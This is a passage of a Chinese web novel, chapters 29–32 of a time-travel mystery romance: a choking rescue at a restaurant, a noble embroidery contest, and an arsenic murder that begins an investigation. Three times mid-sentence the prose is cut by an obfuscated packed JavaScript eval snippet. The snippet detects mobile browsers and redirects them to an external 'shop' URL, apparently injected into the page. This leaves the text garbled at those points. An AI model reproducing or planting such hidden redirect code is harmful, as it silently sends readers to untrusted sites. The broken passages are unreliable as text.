一个“不”字尚未出口,小二迎了上来,打断了二公子的一厢情愿。后者这才想起来,我俩还饿着肚子,现在可不是买丫鬟的好时机。 不过话说回来,我一个长在红旗下的社会主义接班人,怎么能奴役他人、使唤丫鬟啊?我摸着额间碎发心想,还是得赶紧学会盘发髻,天天麻烦人家王婆,老爹都要不耐烦了。 登上二层才落座,对面一桌站起一人,朝二公子挥了挥手:“宁辕!嘿,你也光顾这里呀。” “子昂哥,好巧呀!”二公子回眸一瞧,登时乐了,但目光落在与来人同桌的姑娘身上,眼眸却是一紧,“阳远郡主也在啊。” 被唤作阳远郡主的是位容貌明艳大气的姑娘。手腕上沉甸甸的玉镯一看就价值不菲,髻上几只繁复精致的宝石发簪,更衬得冰肌玉骨、琼花玉貌。 二公子已走到那桌前,朝阳远郡主拱了拱手,后者亦起身微微点头,曼声道:“二公子好雅兴,今儿不用宿在书院吗?” “休沐日。”二公子轻扫宽袖,眼风带笑,“郡主兴致也高昂许多,怎得,三殿下回来了?” 郡主笑容放大,颔首间还扫了眼子昂哥。眼波流转,矜贵娇俏。 子昂哥端起酒杯,笑容满面:“宁辕,前些时日令尊寿宴,我可没逮着机会敬你,今个你可得喝我几杯。” “子昂哥客气啦。”二公子笑道,“今天带一位妹妹来尝鲜,不便吃酒,改日我登门,讨你多敬几杯,你可别叫苦阿。” 子昂哥和郡主闻言,都讶异挑眉,前者更道:“稀奇了,哪个妹妹有福气,劳你二公子亲自带着尝鲜呐?不引荐引荐?以后在京中相遇,我可不敢得罪了。” 什么鬼,怎么还有社交环节。 我登时反感,只低头盯着餐牌装听不见。 好在二公子也驳回了,他朝我觑来几眼,轻笑道:“妹妹羞赧,莫要为难了。她才刚上京,等熟悉了,我自会给你们介绍。好了,不啰嗦了,我可饿的前胸贴后背,去吃饭了啊。” 说罢,三人各自拱手点头,这才算寒暄结束。 脚步轻慢而来,余光扫到二公子腿间时不时扬起的长袍金线镶边,我想起了老爹的话。 说二公子去年就弱冠了,根据青朝规制,世子荫封应就在弱冠这年举行,但他不知抽了什么风,进宫找到太后,祈求自己科举上岸后再行荫封,太后竟也答应了。 故而明明是太后的亲孙子,却因没有头衔,身份地位反不及荫封了的宗室,还得给人家行个礼。 二公子倒也不觉不妥,款款落座,点了一连串的餐牌,复又朝我看来:“寻思什么呢,一脸凝重?” “哦,没事。”我不欲被他看穿,便搪塞道,“那位郡主好生美丽呀,我都看呆了。” 二公子一哂:“那是她今日心情好,邱子昂惯会哄人高兴,白瞎他爹左都御史的身份了。但应该也是三殿下剿匪归来的缘故。你不知道,就前几日,我经过御青王府门口,正见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187197|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下马车,那脸掉着……” 我心头一震:“等一下,御青王?她,她和御青王是什么关系?” “她是御青王的亲妹妹啊!” “那你哥,和御青王又是什么关系啊?” “我哥?”二公子挑眉,“他俩是朋友啊,关系很好。这回三殿下去剿匪,还是我哥去送行的呢。” 原来御青王祖上一门三男儿为保大青江山,俱死于卫国战争,高祖便敕奖了与众不同的封号,并允代代相传。及至当今承继王爵的,是排行老三的嫡子,时人皆称“三殿下”。 他武艺高超,年纪轻轻已上过战场,还曾数次伴驾微服出巡。虽未在朝中出仕,但圣上时有安排差事,也算是站在权力顶峰的人。 而其胞妹,则因教养于太后膝下,亦在幼年就得了封号,荣宠之至。 听完宏篇大论,我只关心了一个问题:“听起来你们齐王府的权势地位,比不过人家啊?” 二公子无语扶额,丢给我个嫌弃的眼神:“怎么可能!我父王可是圣上最重视的手足!同母兄弟!我齐王府在京城那是数一数二!” 那就好,那就好,没白巴结。 小二适时端来了香喷喷的猪蹄,我索性将谢宁轩堂堂一个府丞,又是齐王长子,怎么出京办事还拿着御青王腰牌的问题抛掷脑后,专心填饱肚子。 二公子却被偶遇搅合的没心思用餐,尤其看到一前一后登上楼梯的二人,更是戳了戳我的胳膊:“说曹操曹操到,呐,三殿下也过来了。你看,坐在郡主旁边那个就是,郡主对面的则是工部侍郎之子李怀远。” 这三殿下长相棱角分明,面容冷峻。自他来后,席间氛围都冷淡许多。郡主笑容拘谨,邱子昂似也多了些忌惮,眼神一直在觑他。 相较之下,李怀远儒雅随和多了,脸上一直挂着笑容,不时拉着邱子昂低声玩笑,开怀痛饮。 “难得碰见李怀远哎,难道我这会儿过去找他?绣花大赛就快开始了,再不要可就晚了。但是他们在说话,我过去打扰合适吗?” 我听二公子嘀嘀咕咕,不免好奇:“你在说什么?什么绣花大赛?” 二公子睨我一眼,忽地批评起来:“都怪你,羽书妹妹。你怎么就不能早点来?你知道现在要个请柬多难吗?” “什么?什么请柬?” “得,连绣花大赛也不记得了,你真是……”二公子捏捏眉心,颇感无语,“那是咱们京城最为瞩目的盛会,每三年举办一次,云集了京中官员已及笄女儿参加。” 我还是没听明白:“参加什么?比赛,绣花比赛吗?” “那只是个名头!除了绣花女红,还要比赛诗书乐器,姿态礼仪等等,内容很多!” 听起来,怎么像选美呢?——还真是青朝版选美。 参赛者都是世家闺阁女子,先得经过主办方一轮普选,凡是能到比赛现场参加的,容貌、礼仪都乃上佳。其中获胜者能够得到皇宫赏赐,往期还有佼佼者入宫为妃,为母家带来无上荣耀。 而即便未夺冠,佳丽们依旧也能受到公子哥们的青睐与追捧。很多低阶官员的女儿在会中一战成名,不仅自己婚姻上得了台阶,连带着父亲的官也会做的顺一些。 若是能入三甲,就有资格申请成为下一届的主办方,不仅拥有普选参赛佳丽的权力,还能自行邀请观赛的公子小姐。 荣耀是一方面,利益更是超乎想象的丰厚。 “哇,听起来真有意思。那你刚才说找李怀远做什么?这和他有什么关系?” 没等二公子回复,旁边那桌忽然掉了碗筷,“哐啷”一声砸在地上分外响。 我扭头一看,李怀远正用双手捂着自己的脖子似乎喘不上气来,面容红紫,眼眶骤大。 30.赛场 人人错愕盯着,酒家内一片寂静。 三殿下最先反应过来,起身为李怀远顺背。邱子昂和郡主也站了起来,吓得手足无措。 我瞅见李怀远的筷子插在一道桂圆清蒸翡翠肉中,暗道糟了,是桂圆卡住了!要及时吐出来,否则堵住呼吸道就完了。 眼看没有常识的笨蛋完全不得章法,即将错过最佳抢救时间,我嘴都顾不上擦了,高声叫出:“这样没有用的!快从后面抱住他勒!快呀!” 三殿下没有犹豫,立即照办。双手穿过李怀远臂下,从后面抱着他的胸部猛勒。后者面色痛苦,两手不停挥舞,导致三殿下使不上劲。 二公子见状跑上前,同邱子昂一道按住李怀远的手,三殿下这才又鼓足劲。 在众人紧张的注视下,在郡主呜咽的惊呼中,终于,李怀远喉咙一动,“哇”地一声吐出一个浑圆的桂圆,大口吸气,瘫在了地上。 邱子昂和二公子仍不敢松手,依旧手忙脚乱的帮李怀远顺着背。郡主擦了擦眼角的泪,脚步匆忙的去倒了些水让李怀远漱口。 见危险远离,众人这才渐渐放松,店中又恢复了热闹喧嚣。 少顷,李怀远在搀扶中起身,渐渐稳住了心神,面色也恢复了。他先是朝周边人致谢,自然也包括二公子。随即,又朝我望来,感激之色越显。 “天哪,我刚才……”李怀远拿起桌上酒壶,朝我作揖,“小可感谢小姐大恩,刚才若不是小姐,只怕小可要命丧于此了!” “没事没事,不过是一句话,公子太客气了。” 李怀远摆手,诚恳道:“于小姐而言,只是一句话;对我,那可是救命之恩啊。小姐怎么称呼?来日小可定当登门道谢!” 我还没回答,阳远郡主玲珑笑声传来:“救人一命,实在是大大的功德呀。妹妹别客气,此等大恩,定要叫怀远哥好生谢过。” 邱子昂也端着酒杯走过来,笑着起哄:“是啊,救命之恩,可不能叫他轻易混过去。宁辕方才还舍不得介绍小姐,现在必得叫怀远记住家门姓氏,得登门致谢才是。” 这波彩虹屁也太夸张了吧。 二公子却比我受用,眉眼舒展、笑容得意。“这位啊,是刚从金华来京城,我父王身边最得力的副官,王柳之女王羽书。” “王羽书?你就是王副官之女?”三殿下亦走过来,一双冷淡的眸子微微打量着我。 我有些诧异,不明白三殿下何出此言。 三殿下也没解释,只道:“王姑娘不必过谦,你确实救了怀远。虽然只是提醒,但再耽搁,怕是会误了怀远的性命。” 三殿下都这么说了,李怀远自是连连点头:“殿下说得是啊!王小姐,此恩不报,小可心中实在难以安稳。这样吧,小可府中即将举办绣花大赛,明日便差人将请柬送上,小姐可一定要来观礼哇。” “啊我……” “那敢情好呀!”二公子倒一口应下,激动地说,“我正想着找你讨个邀请函呢。羽书妹妹才入京,若是错过观礼,可就太可惜啦!我可听说你们府上修整的美轮美奂呢!” 嘿,你怎么替我做决定?我没说要去啊! “得去,得去!”这次拍着手大声叫好的换成了老爹,听闻我误打误撞被邀请前去,乐的嘴巴都合不上了。 “你晓得什么啊,李公子的姐姐上届夺冠可直接入宫为妃了呢。李家本已落寞,一朝跃至炙手可热,今次能主办绣花大赛就是最好的证明!” “可这,这和我有什么关系?” “怎么没关系,多好的机会啊!书儿,你可一定要好好打扮。或许这次大赛,就决定了你下半生的幸福啊!” “啊?我去观赛,又不是比赛!” “届时到处都是青年才俊、世家子弟,你若是有幸得某位公子的垂爱,哎呀,爹就不用愁了!” “啊?我去观赛,又不是相亲!” “这可比相亲好多了,咱们家门楣不高,但若是你能得某位公子青眼,那这婚事,可容易谈多了!” “啊?我去观赛,又不是卖身!” “好了,不要再废话了!老钟,快把王婆请来!给书儿好好梳妆!” “爹!你再这样,我不去了!” 老爹眉毛一竖,谴责的话眼看就要脱口,然而他神色一动,朝我招招手,凑上来一脸神秘。 我心一惊,怎么着,还有啥秘密? 老爹深吸口气,严肃曰:“好香啊,二公子刚请你吃的啥?” …… *** 几日后,李府真的如约派人来接。在我爹殷切的目光下,我顶着王婆收下五两重金而精心挽起的发髻,没好气的登上了马车。 算了算了,寄人篱下,没的抗争。 我一面劝解着自己,一面掀开帘子呼吸新鲜空气,很快,李府新修建的巍峨府邸便在眼前了。 朱瓦红墙,亭台楼阁,湖波荡漾。李府为这大赛,还真没少下本。我跟着管家一路行至李府西北角,那真是春光无限,景色宜人。 为了比赛的公平,李府专门划出了东南角给参赛佳丽居住。据说为防作弊,佳丽们也不准带自家丫鬟进入,都是李府丫鬟贴身侍奉。 而观赛女眷众多,未免奔波过于辛苦,李府亦专程划出西北角供其下榻。应邀来的男宾们则不能居住在府中,每场比赛就要出府,也是为了男女之别。 我来的晚,住的便是最里面的宁闻阁,东西两处住处,此时东边已有人居住。管家介绍称是京郊林府的小姐,已经睡下。 我抬头看一眼晚霞,心说这个点儿,睡的哪门子觉啊? 行吧,这样也好,省得social了。 于是次日一早,我顶着僵硬了、一夜没敢翻身才保住了的发髻,独自赶去赛场。 蹊跷的是,有个丫鬟正在东厢门口熬药,隐约可见屋中闪烁人影。 怎么这位林小姐,不去观赛吗?昨日李府为下榻的女眷们安排了晚宴,我似乎也没见到她出席。 *** 许是我到晚了,赛场已是人山人海,内中的佳丽们坐在桌子前等待题目,一人一桌,桌上摆满了绣花的一应工具。 我刚刚寻了最偏的空位坐下,管家便开始念比赛题目了。 “绣花大赛第一个环节,命题女红。题目为满园春色。请各位闺秀们在三炷香内将绣品绣在桌上的白绢上。” 虽然青朝民风开放,世家对女儿也都注重诗书礼仪的培养。但是女红自古以来便是衡量女人是否贤德的重要标准,在这里依旧很吃香。据说李府的大小姐之所以能入宫为妃,便是一手上佳女红,入了太后青眼。 所以佳丽们也是个个卯足了劲,只见赛场中丝线翻飞,颇成一道景致。 “不得交换丝线!” 突兀的声音响起,是站在台前的嬷嬷厉声喝道,似乎是发现了两位佳丽的小动作。 被吼的一位黄裙姑娘脸色潮红,忙低头避开凿凿视线。另一位蓝裙姑娘却似不太服气,鼓鼓腮帮子才又垂眼忙活起来。 小插曲没能影响比赛的高涨气氛,人群依旧兴致勃勃地观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201901|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛着。待到三柱香灭,管家拿着小锣轻轻一敲,宣告绣花时间到。台上下来许多丫鬟,陆续将绣品收了上去,按照排号依次挂在围屏上让观众欣赏,等待着评审。 “王姑娘怎么坐的这么偏远?”一记平淡的声线在我耳边响起,我唬了一跳,旋即认出竟是三殿下。 他今日穿着黑色长衫,缕缕金线在偶尔投射的日光下隐现,低调尊贵。 赛场上首一排核心观赛位置,坐着几位公子哥和小姐,其中就有阳远郡主。那应该是为宗室特设的观赛区域,三殿下怎么没上座,却在这儿? 见我起身参见,三殿下伸手制止。许是此处角落狭窄逼仄,他前倾时竟还踩了我一脚。 三殿下略为尴尬,收回脚低声道:“莫要多礼,扰了大家观赛兴致。” “是。殿下金安,您怎么没……”我只得微微福身,轻声问。 “看结果就行了,白呆在这里浪费时间。”三殿下淡声问,“宁辕那小子呢?之前吵着要来,今天怎么没见他?” “哦,二公子派人说今日书院不得闲暇,晚些时候再来。” 三殿下狭长的丹凤眼扫向场内,没什么温度,透着丝丝威压。“这小子说要考出个名堂,却整日往书院外跑,呵。” 我立在一旁沉默着,不知道该接什么话。 听起来,三殿下和二公子也挺亲近,估计是两当哥的玩在一起,也把对方弟弟当作自己的了吧。 哥哥训弟弟,我自然不便插嘴,索性装死,继续看比赛。 三殿下也没再言语,朝我身侧一把空椅子坐下,眼皮微阖,竟小憩起来。 咱也不懂这些权贵子弟的心思,也不敢问。好在他睡他的,我看我的,也没彼此打扰。 比赛进行到此时,评审嬷嬷也选出了结果。李怀远笑容满面的上了台:“第一轮的绣工比赛现已结束,排名将会公布在状元榜上。本届绣花大赛有幸邀请到上届绣花状元茹妃娘娘——” 人群一阵骚动,在所有人注目中,从围屏后款款走出一位女子,头戴玲珑羽冠,面覆烟纱面巾,行走间轻纱袅袅,高贵尊美,令人不敢直视。 茹妃落座后,众人跪拜请安。 李怀远的声音再次响起,“下面有请茹妃娘娘为我们宣布前三甲!” 哇哦,这赛制这嘉宾这口气,恍如隔世。 一时间,气氛烘托至最高,人声在每个获奖人名吐出后愈加鼎沸,直要将房顶揭穿。 三位获奖的佳丽也表现不一,有得意甩帕的,有喜极而泣的。她们的出身也不一,榜眼甚至不如探花之父的官位高,足见比赛不考虑后台出身,还是颇为公正的。 随着茹妃曼声吐出冠军之名,气氛升至顶点,喝彩的、叫好的,不绝于耳。 我身边的三殿下仍未清醒,看来是不关心谁能夺冠了。上首坐着的阳远郡主,倒是兴致勃勃的张望着。 然而情势在此突变。 冠军小姐正挥着手接受大家的膜拜,她的斜后方,那位被嬷嬷训斥过的蓝裙姑娘,突然身子一软,竟在众目睽睽下倒地,口角流出白色液体。 众人皆惊,一时场面寂静。 唯观赛席后站着的一个窄袖姑娘焦急的唤着“小姐”,在人群中挤来挤去。而那同时被训的黄裙姑娘亦迟疑着探身去瞧,口中叫着:“虹玉,虹玉!你怎么了?” 李怀远立即召唤本就在正殿角落候着的郎中:“快去看看怎么了?可是比赛太久累着了?” 但郎中上前一瞧,面色陡变。 “她、她死了!” 31.秘密 绣花大赛现场竟有人丧命,所有人都惊慌失措。 茹妃亦受了惊吓,李府第一时间便安排她撤离现场,以至于其他嘉宾无人疏导,乱作一团,险些酿成踩踏事故。 稳住局势的是三殿下,几个腾空旋转,跨步跳跃便从最靠近门口的位置跃至上首主桌。威严刚硬的形象,瞬间为现场增加不少安全感。随后他便安排李府有序疏离在场人群,女眷全部回自己房间呆着,男宾则集中看管,暂时不允外出。 虽然在场的人各个都有身份,但毕竟关涉皇妃安危,因此无人置喙,全都老老实实听从安排。 蹊跷的是,当身份尊贵的宗室被护送离开后,一直拿着帕子捂住口鼻的阳远郡主却站在厅中没有动弹,她秀眉蹙起,盯着地上的死者,不知道在想什么。 至于我,许是因为宁闻阁在最角落,管家按顺序疏导,也迟迟没轮到我。及至男宾全部疏散,女眷亦走得七七八八乐,他才引到我的面前。“王小姐,对不起啊,您久等了。这边请,这边请。” “等等。”熟悉的声音传来,我扭头一看,是谢宁轩赶到了。 他穿着深绯色的官服,头戴展脚幞头官帽,脚步匆匆,却依旧龙章凤姿,清冷中透着稳重。 呼吸一滞,心口弥漫着的忐忑,忽地就褪却了一大半。 奇怪,早在贵妃醉酒案调查的后半段,他这身官服造型,我就见过不止一次。怎么此时此刻四目相对,我竟这般触动? 不合时宜的,我又浮起些怀疑,为什么作为齐王长子的他,却是弟弟默认继承世子身份?难道谢宁轩不是嫡子,母亲不是王妃? “宁轩,”三殿下走上前,“羽林军到了吗?” 谢宁轩颔首:“嗯,已经护送茹妃回宫了,另一支把守着李府。怀远人呢?” 三殿下朝门外努努嘴:“今天来的还有不少宗室,怀远去安抚他们了。现在能放他们走吗?” 谢宁轩看向死者,皱了皱眉:“暂时不行,我先安排盘问一轮再说吧。当时发生什么事了,你看到全程了吗,给我讲讲。” 三殿下没有回答,而是挑眉朝我侧了侧头。 我正神思遨游太空,试图将花痴的自己逐出地球呢,被他这么一瞧,立即凝神。并后知后觉的意识到,殿中此刻,竟然只剩三殿下、阳远郡主,跪在死者身侧哭泣的两个女子。哦,还有我。 谢宁轩轻轻点头,又朝我瞥来一眼。 不知为何,我觉得二人似在交流什么。但还没琢磨透,他们已经开始说起案发情况。 “这么说,众目睽睽倒下,郎中未曾耽搁,上前施救却发现已经死亡? 我心中一跳,想到了曾见过的血腥一幕。 果然,老爹来后,简单验尸,便给出结论:“砒霜中毒。死亡不出半个时辰,尸体尚温。” 又见砒霜!怎么这么倒霉,医馆那案子还历历在目呢,砒霜怎么又害死人了? 仵作老爹还挺专业,下结论后也未草草离开,而是拿着银针在死者附近的茶水、物品中探来探去。随后,又小心的掰开了死者的嘴,取出一枚即将融化的湿润的糕状物。 “死者口中吃食内有砒霜。一旁的茶水无毒。” 三殿下立即看向死者身边哀哀哭泣的丫鬟,正是人群中唤着“小姐”的那个。 “六梅,比赛不是不允许吃东西吗?虹玉口中为什么有吃食?” 六梅?虹玉?咦,三殿下认识死者吗? 被唤作六梅的丫鬟抬起头来,泪眼婆娑:“杏、杏仁如意糕,小姐含了一枚杏仁如意糕!” “那是、是虹玉最喜欢的。”死者身旁跪坐着另一位姑娘,木讷无神的说,眼圈通红,腮边还挂着豆大的泪珠。她穿着黄裙、发簪华丽,正是与死者曾一道被嬷嬷训斥过的佳丽。 阳远郡主上前扶起她,低声劝慰:“宝鸯,宝鸯,别哭了。” 宝鸯伏入郡主怀中抽泣,目光却落在了谢宁轩身上。后者眉头蹙起:“你们的意思是,林虹玉违背赛制,在比赛期间吃了一枚杏仁糕?” “不是!不是违反赛制!”六梅哭着澄清,“小姐、小姐自小有眩晕的毛病,大夫说是气血不足,多吃甜食可以补气。这次来参加比赛,夫人生怕小姐紧张晕倒,便教小姐口中含一枚杏仁糕。这、这不能算是违反赛制啊!” 原来是低血糖啊。夫人出的主意也算妙,口中含着甜点,既能防晕,又不会被人轻易发现。 可是,砒霜是即时发作的毒药。比赛期间有目共睹,死者和宝鸯想换个丝线都被叫停,绝不可能吃东西。当然,她的目的也非饱腹,也不会咀嚼。 也即,这枚杏仁糕应当是她在赛前含入口中,却毒发于比赛尾声。这只能说明,砒霜夹在糕体内部。那么,就不存在意外被洒上砒霜的可能了——这是一场谋杀了? 念及此处,我瞟了谢宁轩一眼,后者负手而立,正看着我。无声的眼神交流过后,他脸色阴沉的问:“这杏仁如意糕是哪里来的?” 六梅呜呜出声:“是二小姐亲手做的,带来了两食盒,给了小姐一盒,还有一盒她自己……” “二小姐?”郡主忽然打断,似乎对此很意外,声音都拔高了几度,“二小姐也来了?现在何处?” 六梅撇了撇嘴角:“二小姐来观赛,在……” 郡主不等她说完,已经吩咐李府下人:“还不快去看林府二小姐有没有事!” 我很吃惊,对郡主突然的反应吃惊。 郡主捏着帕子走来走去,神情焦灼,偶尔还不安的瞅一瞅三殿下。但后者并没有责备她。 谢宁轩看向郡主:“两个表妹都来了?” 表妹? 郡主向我解释:“虹玉的母亲是太常寺卿林夫人,和我母亲同出一门。” 哦,怪不得三殿下直呼死者的闺名,也知道丫鬟叫什么。 可还是不太对啊。死了一个表妹,三殿下和郡主的表情并不伤悲,反而得知另一个表妹也来观赛,郡主却好似极其担忧。 我不自觉看向谢宁轩,想问问他这是怎么回事。不料,他正无声的观察着郡主。 李府的小厮很快回来禀告,林二小姐自打昨天抵达,就一直在宁闻阁中休息,也吃了自己做的两块杏仁糕,并没有什么不妥。 宁闻阁!竟真的是与我同住的那位林小姐。可无论是昨天的晚宴还是今天的比赛,似乎都没有见她出过门啊。 郡主长舒口气,肉眼可见的放松下来。 这时,跟着同去的衙差带回来一个圆形食盒,通体花纹一致。打开后,内有杏仁糕呈圆形摆放,看得出一共六枚,目前少了圆圈边上的两枚。 谢宁轩递给老爹,后者熟捻的掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212136|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出银针,对着每一枚都探了探,但未有发现。 同时又有一名衙差捧着食盒进殿,样式和林二小姐那盒一模一样,说是从死者屋中取出的。老爹再探之后,又摇了摇头。 奇怪,食盒中的糕点没有下毒。那怎么偏偏林虹玉服下的一枚就含有砒霜? “此事尚需详细调查。”谢宁轩淡声道,又看向我爹,“尸体方面,还需王副官尽快将尸格填好交到府衙。” 老爹拱拱手,眼神却朝我瞟了过来,那意思似乎在说,你还留着干什么,快跟我回家呀。 脚步有些迟缓,职业病又在蠢蠢欲动。比赛之中怎么会有命案,是竞争,是仇杀,还是另有玄机?我真的很想知道。 不过犹豫一瞬,谢宁轩投来的目光似已看穿,他不等我说话,已然上前拱手:“伯父先回吧。她方才在场观赛,例行盘问也得进行,暂且还需留下。” 在场数人视线齐刷刷朝我投来,如针扎般,老爹忐忑的站着没动。 谢宁轩见状,又补充了一句:“伯父请放心,她才回到京城不久,与林虹玉素无交往,想来是没有作案嫌疑的。” “那就好。”老爹肩膀倏地塌下,长舒口气。点点头,他指挥两个衙差抬着林虹玉的尸体,就这么施施然走了,竟再没回头看我一眼。 好家伙,我以为您老担心我安危,合着是误以为我杀人被府丞扣下啊! “小姐,小姐!” 那厢,随着老爹身影消失,追赶担架的六梅嚎哭着扑倒在地,闻者不忍。 宝鸯亦挣扎着朝前追了两步,再也耐不住,捂着帕子哭出了声。“好端端的,怎么会这样?虹玉为这次比赛下了很多功夫,彻夜练习琵琶曲,为了一手绣花技艺,手指都扎破了好几处。明明这么期待比赛,怎么就……我们本来还说好了,要一起努力到最后一环,她的琵琶与我的舞,我们……” 我看明白了,这是死者的好友。 三殿下上前拍了拍谢宁轩的肩,沉声道:“宁轩,你知道的,林虹玉去年才及笄,能参加绣花大赛也是喜事,却不想刚来李府便遭此厄运,恐怕还得劳你还她一个公道。” 谢宁轩颔首,正要说话,一旁的郡主忽捏着帕子低低唤了声:“宁轩哥……”随后又瞥了眼自家哥哥,默默吞掉了后面的话。 谢宁轩挑了挑眉,似乎并不清楚郡主此番扭捏为何。 三殿下也没搭理妹妹的反常,只继续说:“那这儿就交给你了,我去瞧瞧怀远。哦,李府外的封锁你就不用操心了,我来处理。” 说罢,他看了一眼妹妹,便先走了。郡主揽过宝鸯的肩,又安抚了几句,也拉着她往外走。 但宝鸯没有移步:“郡主,虹玉莫名被害,我实在,实在……请让我留下出点力吧。” 郡主飞快瞟了眼谢宁轩,口中在劝慰:“宝鸯,宁轩哥会查清楚的。你在这儿也未必能帮上忙,不如在房中等候衙差问话吧。” “郡主,我还是留下吧,我可以帮助……” 这次拒绝的是谢宁轩,声线冷淡,也没有朝她俩多看一眼。“不必了。稍后杨捕头带队询问今日见闻,金小姐有什么事,和盘托出便是。” 郡主握了握金宝鸯的手,给她使眼色。 但后者却看了我一眼,嗫嗫着说道:“可我知道一个秘密,不能等到捕头来再说。” 32.反转 我心中升起一股异样。 “秘密?什么秘密?”郡主追问,好奇的睁大双眼。 一般来讲,知道秘密而不愿轻易告知的,都是凶手的下一个目标。今天这场景,是要颠覆传统了? 金宝鸯没有回答,却看了眼六梅。意思很明显。 谢宁轩扬手,衙差立刻上前将六梅带了出去。整个过程,六梅都不可思议的瞪着金宝鸯,似是难以置信。 随后,金宝鸯又看向我。哦,这是嫌我也多余了? 谢宁轩却直接拦下了,声音不大,掷地有声。“不必,羽书没有嫌疑,金小姐但说无妨。” 此刻的我专注于眼前这个“秘密”,并没有察觉到谢宁轩在称呼上的变化,亦忽略了郡主震惊的眼神。若非之后郡主调侃提起,我都想不起来了。 “什么嘛,哪有,不是那时候啦!” “呵,还瞒我!我早就看出来了,宁轩哥分明……” 咳咳,说回当下。金宝鸯身形有轻微的摇晃,好在郡主扶着,她垂下眼睫咬了咬唇,像是下定了某种决心。 “其实,为了这次比赛,虹玉和湘湘闹翻了。上个月在寇府聚会,临出府门的时候,湘湘差点射箭伤了虹玉。”金宝鸯慢慢地说。 “射箭?”我惊愕。 与我同样叫出声的是郡主,但关注点却是:“湘湘,定远伯的孙女寇湘湘?” “射箭不稀奇啦。”郡主摆摆手,“寇府将门之后,孙子孙女都习武,上回打马球,湘湘差点把我抡下马呢。” “她来观赛了吗?”谢宁轩问郡主。 回答的人是金宝鸯,语气低迷,整张脸都哭红了:“来了。听闻昨天在门口还与虹玉发生了口角。” 我起了疑问:“既然当初是为了大赛起的争执,为什么寇湘湘没有参赛?” 金宝鸯低头不语,郡主却了解:“嗨,她那才艺,普选都过不了。” 可谢宁轩已提出更深的疑问:“你说发生争执是在寇府集会,既然你能看到,想必并非秘事,应当也有其他目击者吧?那你刚才为什么讲,这是个秘密?” 金宝鸯看向谢宁轩,眼泪再次划下脸庞,凄然道:“因为,因为……表面上大家都以为湘湘嫉妒虹玉入选,虹玉又着意炫耀,湘湘才会暴怒。但其实我无意中听到过,虹玉对丫鬟说,正是她向主办方告发的湘湘,才让她落选。” 郡主惊叫:“什么?林虹玉这么无耻?” 我看了一眼郡主,深切感受到她对这个表妹全无好感。 “告发寇湘湘什么?”谢宁轩追问。 “大赛的所有赛程,普选前都要过一轮,但其中的绣花不需要当面考核,只是提交绣件。”金宝鸯叹了口气,“湘湘、湘湘交上去的,是绣娘绣的。” 难怪。 但疑问还没有解开。按照今天比赛的形式,普选就算蒙混过关,第一轮众目睽睽下的现场绣花,也绝混不过去。这规矩并非本次绣花大赛新设,那寇湘湘应该很清楚,自己就算骗得参赛名额,也无法拿到好名次。何况,排名还会公开,若是垫底,岂不丢人? 既如此,寇湘湘何须弄假硬要参加? 郡主朝我贴过来附耳轻语:“妹妹初来京城有所不知,排名虽然公开,但谁会贴到那单子上细瞧呢。而且也不止一轮呀。再说了,有能力者自然角逐冠军宝座,但很多资质平庸的姑娘,只是为了赢得好名声,挣得一桩好婚姻呀。你看今天赛场,哪个佳丽不是着意打扮,意在吸引目光吗?” 老爹说过的话也在我耳边响起。 哦,所以寇湘湘费尽心机也要参赛,为的也是姻缘与名声。对于机会被撸下来,自是深恶痛绝。那么,重点应该在于—— “寇湘湘知道……”我脱口而出,没想到谢宁轩竟也同时开口,“她知道……” 我一怔,谢宁轩已朝我微微侧头,眼神明亮,“羽书要问什么?” 场面好像又寂静了,厅中几双眼眸都朝我看来,我立时感到了不自在,忙摇摇头:“没,没啥,您说您说。” 谢宁轩也没勉强我,只含着一缕若有似无的笑容,淡声道:“我们想问的是,寇湘湘知道自己是被好友背刺了吗?” 众人又盯着金宝鸯,她面色凄苦,声如细蚊:“我……月前在寇府,其实当时没说什么,但湘湘忽然脸色变了,掏出弓箭就要发射。所以我觉得、我觉得……” “你觉得让她忽然发怒的理由,便是知道了这桩隐秘?但她如何得知?林虹玉的丫鬟总不会卖主吧?”谢宁轩问的尖锐。 金宝鸯脸色一白:“你、你怀疑我?” 谢宁轩目光如刀:“并非只有你有嫌疑。但这不是好事,林虹玉不会大肆宣扬,你是偶尔听到,那么还能有其他人知晓吗?” 金宝鸯神色哀怨,又低低啜泣起来。郡主不忍,上前轻轻安抚她,还不悦的嗔了谢宁轩一眼。 后者并不在意,而是招手唤衙差:“速去观赛女眷住宿的区域,请寇小姐过来。礼貌些,莫起冲突。” 说罢,他又转向郡主,“阳远,你先带金小姐下去歇着吧,委屈你了,今日恐怕不能回王府了。” “好。”郡主并不拿乔,只问,“你今天就去林府报丧吗?” “晚些时候去吧。” 